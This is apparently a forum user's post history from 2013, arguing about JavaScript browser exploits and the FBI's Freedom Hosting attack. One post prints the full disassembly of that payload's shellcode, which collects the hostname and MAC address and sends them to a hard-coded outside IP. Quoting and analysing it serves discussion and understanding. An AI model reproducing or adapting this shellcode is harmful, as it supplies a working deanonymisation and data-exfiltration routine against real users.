Security / Re: A warning about antivirus programs
« on: August 11, 2013, 04:33 pm »
Just as a side discussion, I think it is kind of shocking how many javascript developers I meet who think that javascript can absolutely not be used to infect computers, that it is totally safe, cannot cause malware infections, etc. It is a really common belief apparently, and it is weird considering that an enormous number of the attacks against browsers are javascript based.

489
Security / Re: A warning about antivirus programs
« on: August 11, 2013, 04:30 pm »
Quote
JS can't deliver malware without the user clicking Run in a dialog

Javascript can be used to deliver malware via browser exploits.
True, doesn't seem to be the case here though.

Doesn't seem to be the case where? It just happened to anybody who visited any site hosted by freedom hosting.

The OP discusses malware downloaded via JAVA app exploit. A JS exploit did not seem to be the case based on the information provided in the OP.  I stand by that statement.

Freedom hosting is a different story, obviously it was a js exploit but I've seen no evidence that there was malware delivered by javascript as you are contending.  It was an exploit made possible by javascript.  Where's the malware???

The malware is what gathered users hostname and MAC and sent it back to their server outside of Tor. It was delivered via a javascript exploit. They could have delivered any payload they wanted.
If malware is defined as any computer instruction code designed for a malicious purpose then sure, you can call that malware.  It isn't possible for server-side javascript to execute a compiled piece of software locally without human interaction though.

In regards to the assembly code you quote.  Where was this encoded in the script?  Magneto?

It is entirely possible for server-side javascript to cause a compiled piece of software to be executed on a remote machine, via a browser exploit. This assembly code could have very well been used to download a secondary payload from a FBI server, the secondary payload could have been a program written in C, and after it downloaded it then it could have executed it and infected the system with a persistent backdoor. That is very common for hackers to do, javascript exploit to inject assembly code into the target computers memory and execute it, assembly code downloads secondary payload from the internet and executes it. The FBI didn't do that because they didn't need to and might have been restricted by the court from doing so, and instead they just used an assembly program that gathers mac address and hostname and sends it to a server outside of Tor.

Yeah it was encoded in Magneto. I would call it malware because it compromised user security. I don't know what your definition of malware is, but if it requires a persistent infection then it could have been delivered by this attack as well, magneto would have just downloaded a secondary more complex compiled program and executed it.

490
Not a good idea. https://bitmessage.org/forum/index.php/topic,1666.0.html

It is just a Beta version right now. I think a lot of those issues will eventually resolve either by updating the Bitmessage client or from remaking the system from scratch.

Why should people start using something that needs to be remade from scratch because it is insecure now ?

491
Security / Re: A warning about antivirus programs
« on: August 11, 2013, 03:44 pm »
more specifically, here is the malware:

Quote
00000000  60                pusha
00000001  FC                cld
00000002  E88A000000        call 0x91
00000007  60                pusha # win32 function resolver by @stephenfewer, used by Metasploit
00000008  89E5              mov ebp,esp
0000000A  31D2              xor edx,edx
0000000C  648B5230          mov edx,[fs:edx+0x30]
00000010  8B520C            mov edx,[edx+0xc]
00000013  8B5214            mov edx,[edx+0x14]
00000016  8B7228            mov esi,[edx+0x28]
00000019  0FB74A26          movzx ecx,word [edx+0x26]
0000001D  31FF              xor edi,edi
0000001F  31C0              xor eax,eax
00000021  AC                lodsb
00000022  3C61              cmp al,0x61
00000024  7C02              jl 0x28
00000026  2C20              sub al,0x20
00000028  C1CF0D            ror edi,0xd
0000002B  01C7              add edi,eax
0000002D  E2F0              loop 0x1f
0000002F  52                push edx
00000030  57                push edi
00000031  8B5210            mov edx,[edx+0x10]
00000034  8B423C            mov eax,[edx+0x3c]
00000037  01D0              add eax,edx
00000039  8B4078            mov eax,[eax+0x78]
0000003C  85C0              test eax,eax
0000003E  744A              jz 0x8a
00000040  01D0              add eax,edx
00000042  50                push eax
00000043  8B4818            mov ecx,[eax+0x18]
00000046  8B5820            mov ebx,[eax+0x20]
00000049  01D3              add ebx,edx
0000004B  E33C              jecxz 0x89
0000004D  49                dec ecx
0000004E  8B348B            mov esi,[ebx+ecx*4]
00000051  01D6              add esi,edx
00000053  31FF              xor edi,edi
00000055  31C0              xor eax,eax
00000057  AC                lodsb
00000058  C1CF0D            ror edi,0xd
0000005B  01C7              add edi,eax
0000005D  38E0              cmp al,ah
0000005F  75F4              jnz 0x55
00000061  037DF8            add edi,[ebp-0x8]
00000064  3B7D24            cmp edi,[ebp+0x24]
00000067  75E2              jnz 0x4b
00000069  58                pop eax
0000006A  8B5824            mov ebx,[eax+0x24]
0000006D  01D3              add ebx,edx
0000006F  668B0C4B          mov cx,[ebx+ecx*2]
00000073  8B581C            mov ebx,[eax+0x1c]
00000076  01D3              add ebx,edx
00000078  8B048B            mov eax,[ebx+ecx*4]
0000007B  01D0              add eax,edx
0000007D  89442424          mov [esp+0x24],eax
00000081  5B                pop ebx
00000082  5B                pop ebx
00000083  61                popa
00000084  59                pop ecx
00000085  5A                pop edx
00000086  51                push ecx
00000087  FFE0              jmp eax
00000089  58                pop eax
0000008A  5F                pop edi
0000008B  5A                pop edx
0000008C  8B12              mov edx,[edx]
0000008E  EB86              jmp short 0x16
00000090  skipping 0x1 bytes
00000091  5D                pop ebp
00000092  81BDE90200004745  cmp dword [ebp+0x2e9],0x20544547 # "GET "
         -5420
0000009C  7570              jnz 0x10e
0000009E  8D85D1020000      lea eax,[ebp+0x2d1] "ws2_32"
000000A4  50                push eax
000000A5  684C772607        push dword 0x726774c # LoadLibraryA
000000AA  FFD5              call ebp
000000AC  85C0              test eax,eax
000000AE  745E              jz 0x10e
000000B0  8D85D8020000      lea eax,[ebp+0x2d8] "IPHLPAPI"
000000B6  50                push eax
000000B7  684C772607        push dword 0x726774c # LoadLibraryA
000000BC  FFD5              call ebp # ebp = find function
000000BE  85C0              test eax,eax
000000C0  744C              jz 0x10e
000000C2  BB90010000        mov ebx,0x190
000000C7  29DC              sub esp,ebx
000000C9  54                push esp
000000CA  53                push ebx
000000CB  6829806B00        push dword 0x6b8029 # WSAStartupA
000000D0  FFD5              call ebp
000000D2  01DC              add esp,ebx
000000D4  85C0              test eax,eax
000000D6  7536              jnz 0x10e
000000D8  50                push eax
000000D9  50                push eax
000000DA  50                push eax
000000DB  50                push eax
000000DC  40                inc eax
000000DD  50                push eax
000000DE  40                inc eax
000000DF  50                push eax
000000E0  68EA0FDFE0        push dword 0xe0df0fea # WSASocketA
000000E5  FFD5              call ebp
000000E7  31DB              xor ebx,ebx
000000E9  F7D3              not ebx
000000EB  39C3              cmp ebx,eax
000000ED  741F              jz 0x10e
000000EF  89C3              mov ebx,eax
000000F1  6A10              push byte +0x10
000000F3  8DB5E1020000      lea esi,[ebp+0x2e1] # struct sockaddr_in { AF_INET, 80, 65.222.202.54 }
000000F9  56                push esi
000000FA  53                push ebx
000000FB  6899A57461        push dword 0x6174a599 # connect
00000100  FFD5              call ebp
00000102  85C0              test eax,eax
00000104  741F              jz 0x125
00000106  FE8D89000000      dec byte [ebp+0x89] # Try to connect 5 times
0000010C  75E3              jnz 0xf1
0000010E  80BD4F02000001    cmp byte [ebp+0x24f],0x1
00000115  7407              jz 0x11e
00000117  E83B010000        call 0x257
0000011C  EB05              jmp short 0x123
0000011E  E84D010000        call 0x270
00000123  FFE7              jmp edi
00000125  B800010000        mov eax,0x100
0000012A  29C4              sub esp,eax
0000012C  89E2              mov edx,esp
0000012E  52                push edx
0000012F  50                push eax
00000130  52                push edx
00000131  68B649DE01        push dword 0x1de49b6 # gethostname
00000136  FFD5              call ebp
00000138  5F                pop edi
00000139  81C400010000      add esp,0x100
0000013F  85C0              test eax,eax
00000141  0F85F2000000      jnz near 0x239
00000147  57                push edi
00000148  E8F9000000        call 0x246 # strlen of gethostname
0000014D  5E                pop esi
0000014E  89CA              mov edx,ecx
00000150  8DBDE9020000      lea edi,[ebp+0x2e9]
00000156  E8EB000000        call 0x246 # strlen (to move EDI to the NULL byte at the end of the HTTP string)
0000015B  4F                dec edi
0000015C  83FA20            cmp edx,byte +0x20
0000015F  7C05              jl 0x166
00000161  BA20000000        mov edx,0x20
00000166  89D1              mov ecx,edx
00000168  56                push esi
00000169  F3A4              rep movsb
0000016B  B90D000000        mov ecx,0xd
00000170  8DB5C4020000      lea esi,[ebp+0x2c4] "\r\nCookie: ID="
00000176  F3A4              rep movsb
00000178  89BD4B020000      mov [ebp+0x24b],edi
0000017E  5E                pop esi
0000017F  56                push esi
00000180  68A9283480        push dword 0x803428a9 # gethostbyname
00000185  FFD5              call ebp
00000187  85C0              test eax,eax
00000189  0F84AA000000      jz near 0x239
0000018F  668B480A          mov cx,[eax+0xa]
00000193  6683F904          cmp cx,byte +0x4
00000197  0F829C000000      jc near 0x239
0000019D  8D400C            lea eax,[eax+0xc]
000001A0  8B00              mov eax,[eax]
000001A2  8B08              mov ecx,[eax]
000001A4  8B09              mov ecx,[ecx]
000001A6  B800010000        mov eax,0x100
000001AB  50                push eax
000001AC  89E7              mov edi,esp
000001AE  29C4              sub esp,eax
000001B0  89E6              mov esi,esp
000001B2  57                push edi
000001B3  56                push esi
000001B4  51                push ecx
000001B5  51                push ecx
000001B6  684872D2B8        push dword 0xb8d27248 # iphlpapi.dll!SendARP
000001BB  FFD5              call ebp
000001BD  85C0              test eax,eax
000001BF  81C404010000      add esp,0x104
000001C5  0FB70F            movzx ecx,word [edi]
000001C8  83F906            cmp ecx,byte +0x6
000001CB  726C              jc 0x239
000001CD  B906000000        mov ecx,0x6
000001D2  B810000000        mov eax,0x10
000001D7  29C4              sub esp,eax
000001D9  89E7              mov edi,esp
000001DB  89CA              mov edx,ecx
000001DD  D1E2              shl edx,1
000001DF  50                push eax
000001E0  52                push edx
000001E1  31D2              xor edx,edx
000001E3  8A16              mov dl,[esi]
000001E5  88D0              mov al,dl
000001E7  24F0              and al,0xf0 # It actually turns the raw data into hex strings before appending it to the HTTP header
000001E9  C0E804            shr al,0x4
000001EC  3C09              cmp al,0x9
000001EE  7704              ja 0x1f4
000001F0  0430              add al,0x30
000001F2  EB02              jmp short 0x1f6
000001F4  0437              add al,0x37
000001F6  8807              mov [edi],al
000001F8  47                inc edi
000001F9  88D0              mov al,dl
000001FB  240F              and al,0xf
000001FD  3C09              cmp al,0x9
000001FF  7704              ja 0x205
00000201  0430              add al,0x30
00000203  EB02              jmp short 0x207
00000205  0437              add al,0x37
00000207  8807              mov [edi],al
00000209  47                inc edi
0000020A  46                inc esi
0000020B  E2D4              loop 0x1e1
0000020D  59                pop ecx
0000020E  29CF              sub edi,ecx
00000210  89FE              mov esi,edi
00000212  58                pop eax
00000213  01C4              add esp,eax
00000215  8BBD4B020000      mov edi,[ebp+0x24b]
0000021B  F3A4              rep movsb
0000021D  C6854F02000001    mov byte [ebp+0x24f],0x1
00000224  E82E000000        call 0x257 # Append "Connection: keep-alive\r\nAccept: */*\r\nAccept-Encoding: gzip\r\n\r\n" and return the new strlen(ebp + 0x2e9)
00000229  31C0              xor eax,eax
0000022B  50                push eax
0000022C  51                push ecx
0000022D  29CF              sub edi,ecx
0000022F  4F                dec edi
00000230  57                push edi
00000231  53                push ebx
00000232  68C2EB385F        push dword 0x5f38ebc2 # send
00000237  FFD5              call ebp
00000239  53                push ebx
0000023A  68756E4D61        push dword 0x614d6e75 # closesocket
0000023F  FFD5              call ebp
00000241  E9C8FEFFFF        jmp 0x10e
00000246  31C9              xor ecx,ecx
00000248  F7D1              not ecx
0000024A  31C0              xor eax,eax
0000024C  F2AE              repne scasb
0000024E  F7D1              not ecx
00000250  49                dec ecx
00000251  C3                ret
00000252  0000              add [eax],al
00000254  0000              add [eax],al
00000256  skipping 0x1 bytes
00000257  8DBDE9020000      lea edi,[ebp+0x2e9]
0000025D  E8E4FFFFFF        call 0x246
00000262  4F                dec edi
00000263  B94F000000        mov ecx,0x4f
00000268  8DB575020000      lea esi,[ebp+0x275]
0000026E  F3A4              rep movsb
00000270  8DBDE9020000      lea edi,[ebp+0x2e9]
00000276  E8CBFFFFFF        call 0x246
0000027B  C3                ret
0000027C  0D0A436F6E        or eax,0x6e6f430a
00000281  6E                outsb
00000282  656374696F        arpl [gs:ecx+ebp*2+0x6f],si
00000287  6E                outsb
00000288  3A20              cmp ah,[eax]
0000028A  6B656570          imul esp,[ebp+0x65],byte +0x70
0000028E  2D616C6976        sub eax,0x76696c61
00000293  650D0A416363      gs or eax,0x6363410a
00000299  657074            gs jo 0x310
0000029C  3A20              cmp ah,[eax]
0000029E  2A2F              sub ch,[edi]
000002A0  2A0D0A416363      sub cl,[0x6363410a]
000002A6  657074            gs jo 0x31d
000002A9  2D456E636F        sub eax,0x6f636e45
000002AE  64696E673A20677A  imul ebp,[fs:esi+0x67],dword 0x7a67203a
000002B6  69700D0A0D0A00    imul esi,[eax+0xd],dword 0xa0d0a
000002BD  83C70E            add edi,byte +0xe
000002C0  31C9              xor ecx,ecx
000002C2  F7D1              not ecx
000002C4  31C0              xor eax,eax
000002C6  F3AE              repe scasb
000002C8  4F                dec edi
000002C9  FFE7              jmp edi
000002CB  0D0A436F6F        or eax,0x6f6f430a
000002D0  6B69653A          imul ebp,[ecx+0x65],byte +0x3a
000002D4  204944            and [ecx+0x44],cl
000002D7  3D7773325F        cmp eax,0x5f327377
000002DC  3332              xor esi,[edx]
000002DE  004950            add [ecx+0x50],cl
000002E1  48                dec eax
000002E2  4C                dec esp
000002E3  50                push eax
000002E4  41                inc ecx
000002E5  50                push eax
000002E6  49                dec ecx
000002E7  0002              add [edx],al
000002E9  0000              add [eax],al
000002EB  50                push eax
000002EC  41                inc ecx
000002ED  DECA              fmulp st2
000002EF  3647              ss inc edi
000002F1  45                inc ebp
000002F2  54                push esp
000002F3  202F              and [edi],ch
000002F5  303563656134      xor [0x34616563],dh
000002FB  64652D39353164    gs sub eax,0x64313539
00000302  2D34303337        sub eax,0x37333034
00000307  2D62663866        sub eax,0x66386662
0000030C  2D66363930        sub eax,0x30393666
00000311  3535623237        xor eax,0x37326235
00000316  396262            cmp [edx+0x62],esp
00000319  204854            and [eax+0x54],cl
0000031C  54                push esp
0000031D  50                push eax
0000031E  2F                das
0000031F  312E              xor [esi],ebp
00000321  310D0A486F73      xor [0x736f480a],ecx
00000327  743A              jz 0x363
00000329  2000              and [eax],al
0000032B  0000              add [eax],al
0000032D  0000              add [eax],al
0000032F  0000              add [eax],al
00000331  0000              add [eax],al
00000333  0000              add [eax],al
00000335  0000              add [eax],al
00000337  0000              add [eax],al
00000339  0000              add [eax],al
0000033B  0000              add [eax],al
0000033D  0000              add [eax],al
0000033F  0000              add [eax],al
00000341  0000              add [eax],al
00000343  0000              add [eax],al
00000345  0000              add [eax],al
00000347  0000              add [eax],al
00000349  0000              add [eax],al
0000034B  0000              add [eax],al
0000034D  0000              add [eax],al
0000034F  0000              add [eax],al
00000351  0000              add [eax],al
00000353  0000              add [eax],al
00000355  0000              add [eax],al
00000357  0000              add [eax],al
00000359  0000              add [eax],al
0000035B  0000              add [eax],al
0000035D  0000              add [eax],al
0000035F  0000              add [eax],al
00000361  0000              add [eax],al
00000363  0000              add [eax],al
00000365  0000              add [eax],al
00000367  0000              add [eax],al
00000369  0000              add [eax],al
0000036B  0000              add [eax],al
0000036D  0000              add [eax],al
0000036F  0000              add [eax],al
00000371  0000              add [eax],al
00000373  0000              add [eax],al
00000375  0000              add [eax],al
00000377  0000              add [eax],al
00000379  0000              add [eax],al
0000037B  0000              add [eax],al
0000037D  0000              add [eax],al
0000037F  0000              add [eax],al
00000381  0000              add [eax],al
00000383  0000              add [eax],al
00000385  0000              add [eax],al
00000387  0000              add [eax],al
00000389  0000              add [eax],al
0000038B  0000              add [eax],al
0000038D  0000              add [eax],al
0000038F  0000              add [eax],al
00000391  0000              add [eax],al
00000393  0000              add [eax],al
00000395  0000              add [eax],al
00000397  0000              add [eax],al
00000399  0000              add [eax],al
0000039B  0000              add [eax],al
0000039D  0000              add [eax],al
0000039F  0000              add [eax],al
000003A1  0000              add [eax],al
000003A3  0000              add [eax],al
000003A5  0000              add [eax],al
000003A7  0000              add [eax],al
000003A9  0000              add [eax],al
000003AB  0000              add [eax],al
000003AD  0000              add [eax],al
000003AF  0000              add [eax],al
000003B1  0000              add [eax],al
000003B3  0000              add [eax],al
000003B5  0000              add [eax],al
000003B7  0000              add [eax],al
000003B9  0000              add [eax],al
000003BB  90                nop


492
Security / Re: A warning about antivirus programs
« on: August 11, 2013, 03:31 pm »
Quote
JS can't deliver malware without the user clicking Run in a dialog

Javascript can be used to deliver malware via browser exploits.
True, doesn't seem to be the case here though.

Doesn't seem to be the case where? It just happened to anybody who visited any site hosted by freedom hosting.

The OP discusses malware downloaded via JAVA app exploit. A JS exploit did not seem to be the case based on the information provided in the OP.  I stand by that statement.

Freedom hosting is a different story, obviously it was a js exploit but I've seen no evidence that there was malware delivered by javascript as you are contending.  It was an exploit made possible by javascript.  Where's the malware???

The malware is what gathered users hostname and MAC and sent it back to their server outside of Tor. It was delivered via a javascript exploit. They could have delivered any payload they wanted.

493
I agree I really wish people would stop spontaneously ranting in threads about how we must castrate and murder all pedophiles and everybody who looks at CP, there is no need to have such conversations in threads that are about security or silk road related topics.

494
Please note that I have not started the derailment of a single thread, only responded to other people, and even made a thread in off topic to point people to so they would stop derailing threads with spontaneous rants against people viewing CP, but everybody derailing threads simply ignored it when I pointed them to it, and then it got locked, and then I deleted it.

495
Security / Re: A warning about antivirus programs
« on: August 11, 2013, 06:30 am »
I'm sorry but you guys are 5-10 years behind where the bleeding edge of Malware is at the moment. And I'm not just talking about another fucking Slavik ZuESS bot/trojan or some dumb Chinese APT threat. Go study the FLAME malware and you will understand how much of a beautiful piece of work it was, MD5 collision attack using new cryptographic attacks to break windows update.

A Java 0-day is simple compared to some of the attacks out there but unless you piss off a few certain people or a 3 letter agency you don't have much to worry about. What you do have to worry about is fucktard's like VUPEN selling exploit kits to LEA to target certain user's as I'm sure the FH job was done using a exploit kit made by a contractor.

We are 5-10 years behind or the feds are? If the NSA did this attack (and gave it their all) it would have found a way to fingerprint the OS people were using and target a specific payload to them, that then fingerprinted its environment to see if there was isolation or other security techniques, and then obtained other payloads to break through the isolation and disable each layer of security one at a time, prior to sending the information back to them. And it would have all been zero days, obfuscated and encrypted and probably never would have been detected in the first place.

The FBI used a month old javascript exploit to deliver a payload that was targeted specifically to Windows 7 and to a lesser extent Windows in general, and it didn't even attempt to break out of isolation or disable any security features. The NSA has fucking cyber missles essentially, they will blow their way through ten layers of isolation in the blink of an eye. The FBI has always used already patched exploits, I have never read of a case where they did an attack like this with an actual 0-day, let alone tried to break out of layers of security.

Quote
Chinese APT threat

A Chinese advanced persistent threat threat ;)?

Pages: 1 ... 31 32 [33] 34 35 ... 249